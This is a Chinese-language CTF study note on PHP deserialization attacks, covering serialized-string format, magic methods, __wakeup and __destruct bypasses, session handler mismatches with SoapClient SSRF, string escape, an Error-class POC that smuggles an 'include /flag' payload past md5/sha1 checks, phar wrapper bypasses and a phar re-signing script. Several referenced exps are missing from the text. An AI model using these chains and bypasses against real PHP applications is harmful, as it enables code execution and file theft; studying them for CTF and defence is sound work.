1.认识序列化和反序列化

想要会反序列化,那么首先要知道序列化是什么意思?

序列化就是将对象中的数据(也就是对象中的属性)给进行转换成方便传输和保存的形式的这个过程,那么反序列化就是它逆向的过程,叫做反序列化

举个例子来说就是:

我在网上购物买了一张桌子,商家为了方便传输,就将桌子给拆卸成易于保存的形式(这个过程就好比序列化),发送给我,我在收到快递以后,将这些拆卸开的零件(也就是类中的属性)在进行拼接,这个过程就好比反序列化

序列化字符串的结构

解析下面的这个例题:

O:1:"a":1:{s:1:"b";s:1:"1";}

O表示他的类型是一个对象,后面的1表示对象的名称长度,再后面的1表示他里面的成员属性是1一个

里面的s表示属性是一个字符串,1是他的属性名长度,b是他的属性名,s表示属性类型为字符串,长度为1,值是1

常见的类型表示:

b:表示布尔值、a:表示数组、i:表示整数、d:表示浮点型、s:表示字符串、S:表示十六进制、O:表示对象

2.PHP中的访问修饰符

一共有三种:public、private、protected

public:表示公共的意思,就是所有的类都能进行访问

private:表示私有的意思,只有当前类能进行一个访问。在序列化的时候,会在属性名前面加上一个%00类名%00

protect:表示受保护的意思,只有当前类和它的子类能进行访问。在序列化的时候,会在属性名前面加上一个%00*%00

还有一个小技巧

就是在php7.x版本及以上高版本php,会出现对访问修饰符不敏感,就可以将private或protected更换成public

来让调用链更简单化

3.常用的魔术方法

__construct方法:在对象被实例化的时候触发

__destruct方法:在对象被销毁的时候触发

__toString方法:在对象被当成字符串调用时触发

__invoke方法:在对象被当成函数调用时触发

__set方法:在给不存在的属性赋值时触发

__call方法:在调用一个不存在的方法时触发

__isset方法:在对象被使用isset()或者empty()时触发

__clone方法:在对象被使用clone克隆时触发

__sleep方法:在被serialize()的时候触发

__wakeup方法:在被unserialize()的时候触发

4.在CTF中的攻击方法及其绕过

在上方的大概描述环节差不多都已经知道了基本的概念和方法,那么下面开始讲解我在做CTF反序列化题目中碰到的一些攻击方法,和我的绕过方式

签到题类型:

一些简单的签到题目,他通常采用从上到下的调用链,也就是直接对着进行实例化就能进行RCE或者文件读取

例如以下题目:

他就是采用从上到下的调用链,直接一眼就能看出来方法是如何进行调用的和他的触发点是在哪里,这种的就是属于签到题的级别

构造链也很简单,直接从上到下实例类就行了

入门级别题目类型:

如果你能轻松掌握上面的题目,那么你对一些常用的方法就应该是有一定的认识了,那么接下来就是到入门阶段,这个阶段通常会考一些不按顺序的调用链,并且他会出现在几个类中出现迷惑你的方法,你需要在几个类中反复寻找可以触发互相触发的方法,就会在理解中有一些绕人了

如何解决?

那就需要你对所有的魔术方法进行理解和熟练了,然后还有就是冷静下来,认真分析,仔细分析每个类中的方法的作用,来进行构造调用链

例如下面这道题目:

​

他的调用链就变的混乱起来了,就需要冷静下来看链子如何构造,然后和对应的属性该实例化什么类,会比较有些绕人

他的exp如下:

小白级别题目类型:

如果以上的你都已经可以轻松解决了,那么你对反序列化的思路和心态肯定足够了,那么你接下来面对的题目就是一个常见的方法和关键字绕过了

例如

绕过wakeup()方法

在php<5.6.25和php7<7.0.1的版本下,当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup

可以采用这个绕过,只举一个例子

1:"a":1:{s:1:"b";s:1:"1";}

这个中的"a"后面的1就是你对应的成员属性值,可以将他修改成2或者更大的

这只是片面的,你需要修改要绕过wakeup方法的类的成员属性值,不是全部都是修改第一个成员属性后面的

绕过destruct()方法(也算是绕过异常抛出的方法)

这个通常出现在代码中有异常处理语句的时候,他会让destruct阻止运行,就会让链子启动不了第一步

他的绕过有两种方式

一种涉及到一个名为GC回收机制的知识

GC回收机制,又名垃圾回收机制,他采用的是一个引用计数的方式来进行垃圾回收机制的,大白话就是引用计数为0的变量可以进行回收,腾出资源。php中的变量存在于一个叫"zval"的变量容器中,容器中包含了变量的类型和值,以及两个字节的信息:

一个是"is_ref":标识变量是否是引用集合,用于区分普通变量和引用变量

另一个是"refcount":用于确定指向此变量的个数,即引用的个数

引用计数:每个内存对象都分配一个refcount计数器,当内存对象被变量引用时,refcount计数器+1;当变量引用撤销时(如执行了unset()后),refcount计数器-1;当refcount计数器=0时(数组对象为null),表明内存对象没有被使用,该对象进行销毁,垃圾回收完毕

所以绕过方法就是提前触发__destruct()魔术方法。

对象被unset()处理时,可以触发。

数组对象为NULL时,可以触发。

第二种绕过方式为

直接将最后面的一个右括号给删除,也可以绕过,但是我不知道具体啥原理

例题演示:

出现以下这种情况的可以采用以上方式绕过

这个的题目名为:天命人

$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
关键字的绕过
+加号绕过

因为加号被解释为空格或其他非预期字符,可能会破坏正则表达式的匹配模式,从而绕过

十六进制绕过

在php中是可以将小s,修改成大S来进行一个十六进制绕过关键字的

例如:[SWPUCTF 2024 秋季新生赛]Maxser Revenge

这道题目就是采用的一个十六进制绕过

最后的exp如下:

需要注意一点

就是他在使用双引号的时候,他会对斜杠进行一个转义,所以需要使用单引号来包裹要绕过的十六进制编码,但是他会出现在序列化后的值,会将那些十六进制全当成字符串来计算长度,就需要对其进行替换

进阶级别题目的类型

如果以上的绕过你都完全掌握的话,那么就该进阶了,这个阶段你该挑战的就是一些session反序列化和基础的原生类题目了

session是什么?

首先需要知道session是个什么

session一般称为"会话控制",大白话就是一种客户与网站/服务器更为安全的对话方式。一旦开启了session会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立一种对话机制

session反序列化

他就是利用网站存储方式和处理方式的不一致来进行攻击的

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储

session.serialize_handler定义的引擎有三种,如下表:

处理器名称

存储格式

php

键名+竖线+经过serialize()序列化处理的值

php_binary

键名的长度对应的ASCII字符+键名+经过serialize()序列化处理的值

php_serialize

经过serialize()序列化处理的数组

注:自PHP 5.5.4起可以使用php_serialize

上述三种处理器中,php_serialize在内部简单地直接使用serialize/unserialize函数,并且不会有php和php_binary所具有的限制。使用较旧的序列化处理器导致$_SESSION的索引既不能是数字也不能包含特殊字符

php处理器

首先来看session_serialize_handler等于php时候的序列化

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

传入一个session=xin

他的序列化结果为:session|s:3:"xin";

session为键名,|后面是传入GET参数经过序列化后的值

php_binary处理器

session.serialize_handler等于php_binary时候的序列化结果

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

传入一个长度为35的键名,返回值就是#键名|序列化后的内容

他的第一个值,是他的键名长度对应的ASCII码的值,随后是键名,其次是他的序列化后的内容

php_serialize处理器

session.serialize_handler等于php_serialize时候的序列化结果

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

传入session=xin,返回的值就是a:1:{s:7:"session";s:3:"xin";}

a:1表示$_SESSION数组中有1个元素,花括号里面的内容为传入的GET参数经过序列化后的值

攻击手法

session反序列化他的攻击手法就是

session反序列化+CRLF+SSRF

来进行一个读取文件

他使用的是一个SoapClient :: __call,这个类中的call方法来进行的

相关知识

php中的SOAP扩展可以用来提供和使用Web Services,这个扩展实现了6个类,其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()方法

构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [, array $options])

wsdl

描述服务的WSDL文件的URL,用于自动配置客户端。如果未提供(也就是为null),客户端将以非WSDL模式运行

location 细绳

将请求发送到SOAP服务器的URL。wsdl如果未提供该参数,则为必填项。如果同时提供了wsdl参数和选项,则该选项将覆盖WSDL文件中指定的任何位置

uri 细绳

SOAP服务的目标命名空间

当对该类进行反序列化后,调用该类不存在的方法,会触发__call()方法,然后向location发送一个soap请求,并且uri选项是我们可控的地方

CRLF

web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF比如:\r\n,就能注入一些首部字段或报文主体,并在响应中输出

例题如下:
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }

还有一个flag.php

然后这题就是利用SSRF+CRLF,生成要传入的值,通过变量覆盖将他的处理器修改成php_serialize的格式,这样他的存储和处理的处理器不一致,就会恶意序列化到我上传的恶意序列值

payload

字符串逃逸

这个就比较简单了,就是利用他的特性,在使用替换函数将序列化值中的字符串给替换成大于或者小于原先字符串长度的时候,他的序列化值的长度是不会变的,那么就利用这一特性给进行一个逃逸

分为增多和减少

增多

例如ctfshow262题

这里就是利用他将fuck替换成loveU会进行增多的操作进行的一个逃逸

他需要将token的值逃逸成一个admin

exp如下:

减少

这是题目的替换代码

然后进行逃逸

还有就是对原生类的利用

使用Error/Exception内置类绕过哈希比较

在上文中,已经认识了Error和Exception这两个PHP内置类,但对他们妙用不仅限于XSS,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较。

Error类

Error是所有PHP内部错误类的基类,该类在PHP 7.0.0中开始引入的

类摘要:
Error implements Throwable {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}
类属性:

message:错误消息内容

code:错误代码

file:抛出错误的文件名

line:抛出错误在该文件中的行数

类方法:

Error::__construct — 初始化 error 对象

Error::getMessage — 获取错误信息

Error::getPrevious — 返回先前的 Throwable

Error::getCode — 获取错误代码

Error::getFile — 获取错误发生时的文件

Error::getLine — 获取错误发生时的行号

Error::getTrace — 获取调用栈(stack trace)

Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)

Error::__toString — error 的字符串表达

Error::__clone — 克隆 error

Exception类

Exception是所有异常的基类,该类是在PHP 5.0.0中引入的

类摘要
Exception {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}
类属性:

message:错误消息内容

code:错误代码

file:抛出错误的文件名

line:抛出错误在该文件中的行数

类方法:

Exception::__construct — 异常构造函数

Exception::getMessage — 获取异常消息内容

Exception::getPrevious — 返回异常链中的前一个异常

Exception::getCode — 获取异常代码

Exception::getFile — 创建异常时的程序文件名称

Exception::getLine — 获取创建的异常所在文件中的行号

Exception::getTrace — 获取异常追踪信息

Exception::getTraceAsString — 获取字符串类型的异常追踪信息、

Exception::__toString — 将异常对象转换为字符串

Exception::__clone — 异常克隆

我们可以看到,在Error和Exception这两个PHP原生类中内只有__toString方法,这个方法用于将异常或错误对象转换为字符串

绕过md5()函数和sha1()函数的比较

以Error为例,当触发了它的__toString方法时会发生什么:

<?php
$a=new Error("payload",1);
echo  $a;

输出如下:

Error: payload in D:\CTF\脚本\phpstudy\反序列化\反序列化题目存放\铸剑杯\exp.php:2

Stack trace:

#0 {main}

发现这将会以字符串的形式输出当前报错,包含当前的错误信息("payload") 以及当前报错的行号 2 ,而传入进去的 1 则没有输出出来。

再举个例子

<?php
$a=new Error("payload",1);
$b=new Error("payload",2);
echo $a;
echo "\n";
echo $b;
?>

输出如下:

Error: payload in D:\CTF\脚本\phpstudy\反序列化\反序列化题目存放\铸剑杯\exp.php:2

Stack trace:

#0 {main}

Error: payload in D:\CTF\脚本\phpstudy\反序列化\反序列化题目存放\铸剑杯\exp.php:3

Stack trace:

#0 {main}

由此可见,$a和$b这两个错误对象本身是不同的,但是__tostring方法返回的结果是相同的,除了不在同一行,所以返回的行号是不同

Exception类与Error的使用和结果完全一行,只不过Exception类适用于PHP 5和7,而Error只适用于PHP 7

例题:

源码如下:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

可见,如果想要让eval()执行代码,需要通过这个if语句

 if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){

这个乍一看感觉很基础,使用数组绕过直接就行了,但是这是在类里面,就不能这样

这里的考点是md5()和sha1()可以对一个类进行hash,并且会触发这个类的__toString方法;且当eval()函数传入一个类对象时,也会触发这个类里的__toString方法

所以可以使用含有__toString方法的PHP内置类进行绕过,用的两个比较多的内置类就是Exception和Error,他们之中有一个__toString方法,当类被当作字符串处理时,就会调用这个函数。

所以根据Error类和Exception类中__toString方法的特性,可以使用这两个内置类进行绕过。

POC如下:

因为题目将括号给过滤,所以无法直接调用函数,需要尝试使用include "/flag"将文件包含进来,引号被过滤了,所以需要使用取反绕过

<?php
error_reporting(0);
class SYCLOVER {
    public $syc=array();
    public $lover=array();
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
} 
$str="?><?=include~".urldecode('%D0%99%93%9E%98')."?>";
#<?=include /flag
$a=new Error($str,1);$b=new Error($str,2);
$c=new SYCLOVER();
$c->syc=$a;
$c->lover=$b;
echo urlencode(serialize($c));
?>

然后前面的?> 的是因为 Exception类与Error的__toString方法在eval()函数中输出的结果是不可控的,即输出的报错信息中,payload前面还有一段杂乱信息"Error":

Error: payload in D:\CTF\脚本\phpstudy\反序列化\反序列化题目存放\[2020 极客大挑战]Greatphp\1.php:2

Stack trace:

#0 {main}

进入到eval()函数中会类似于:eval("...Error: <?php payload?>"),所以需要用?>来闭合一下,即eval("... Error : ?><?php payload ?>"),这样的payload便能顺便执行了

$a=new Error($str,1);$b=new Error($str,2);

这个的意思就是将报错的信息换成我们的payload,这样它在报错的时候就会执行payload代码也就是include /flag,然后使用报错的方式将flag的内容给带出来

然后传参

成功带出flag

文件读取的原生类

FilesystemIterator

DirectoryIterator

GlobIterator

这三个都可以遍历文件目录,可以搭配伪协议使用

可以用glob://且配合*查找

这几个类是不能反序列化的

例题:

题目名:[GHCTF 2024 新生赛]ezzz_unserialize

exp如下:

C开头绕过

绕wakeup和/^[Oa]:[/d]+/过滤

具体利用方法,我只做过一题还没太过了解

ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

常用的函数

原生类有关的

array_walk:这个函数是对数组中的每个元素应用用于自定义函数,通常他的出现都伴随着任意实例化,所以可以利用来进行原生类的文件读取

create_function:这个函数是用来创建匿名函数的,和原生类有关的就是利用反射类来进行调用他创建的匿名函数(但是他在php7.2版本就进行一个废弃了)

命令执行有关的

call_user_func:这个函数是用来将第一个参数作为参数名,然后第二个参数作为参数值,通常可以进行命令执行

文件操作有关的

file_put_contents:这个函数是用来将指定的文件内容写入到指定的文件名中

file_get_contents:这个是对指定的文件进行读取文件内容,可以搭配伪协议

高级级别题目的类型

上面的如果全部融会贯通,那么应该就是中上难度的题目应该是能搞出来了,接下来学习的就是phar反序列化绕过,还有一些常用框架的反序列化的例如Yii和Laravel

phar关键字检测

像过滤掉phar伪协议的题目也是常遇到的

所以就可以使用各种伪协议进行绕过:

1、php://filter/read=conver.base64-encode/resource=文件名

2、compress.bzip2://phar://文件名

3、compress.zlib://phar://文件名

例题:

php-ser-libs 12

1.打开先看代码
<?php
highlight_file(__FILE__);
class TestObject {
    public function __destruct() {
        include('flag.php');
        echo $flag;
    }
}
$filename = $_POST['file'];
$boo1=1;
$black_list=['php','file','glob','data','http','ftp','zip','https','ftps','phar'];
foreach($black_list as $item){
    $front=substr($filename,0,strlen($item));
    if ($front==$item){
        $boo1=0;
    }
}
if (isset($filename) and $boo1){
    echo md5_file($filename);
}
//upload.php
?>

这题和上道题目类型差不多,也就一个destruct魔术方法作为跳板,但是这题在上题的基础上增加了一个黑名单,就是POST传参的file中不能出现这些了,如果出现了就将$bool赋值一个0,然后下面的判断是需要$bool为1的,才能进行md5_file的

2.开始构造

这题的做法和上题的一样,只不过在原有的基础上将phar给过滤了,使用其他方式绕过

就是使用各种协议来进行绕过

php://filter/read=convert.base64-encode/resource=文件名

使用filter伪协议进行绕过

compress.bzip2://phar://文件名

使用bzip2协议来进行绕过

compress.zlib://phar://文件路径

使用zlib协议进行绕过

这题使用zlib来进行绕过,因为他黑名单中有zip和php

绕过__HALT__COMPILER检测

在初识phar的时候提到过,PHP通过__HALT_COMPILER来识别phar文件,那么就会出现这个过滤

if(preg_match("/__HALT__COMPILER/i",$phar){
   die();
}

绕过思路

1、将Phar文件的内容写入到压缩包注释中,压缩为zip文件,示例代码如下:
<?php
$a=serialize($a);
$zip=new ZipArchice();
$res=$zip->open('phar.zip',ZipArchive::CREATE);
$zip->addFromString('flag.txt','flag is here');
$zip->setArchiveComment($a);
$zip->close();
?>
2、将生成的phar文件进行gzip压缩 ,压缩命令如下:
gzip test.phar

压缩后同样也可以进行反序列化

修改签名的脚本:

from hashlib import sha256 
phar_path=''  #这里填写文件路径
with open(phar_path, "rb") as f:
    text = f.read()

main = text[:-40]
end = text[-8:]

new_sign = sha256(main).digest()
new_phar = main + new_sign + end

with open(phar_path, "wb") as f:
    f.write(new_phar)

框架的反序列化还没学习,所以就先不说了,以后学习了在进行补全

以上所写,均为个人理解

如有空缺和解释错误的地方,还请师傅们见谅进行留言更正

参考文章:

https://chenxi9981.github.io/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://quan9i.top/post/PHP%20Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B5%85%E6%9E%90/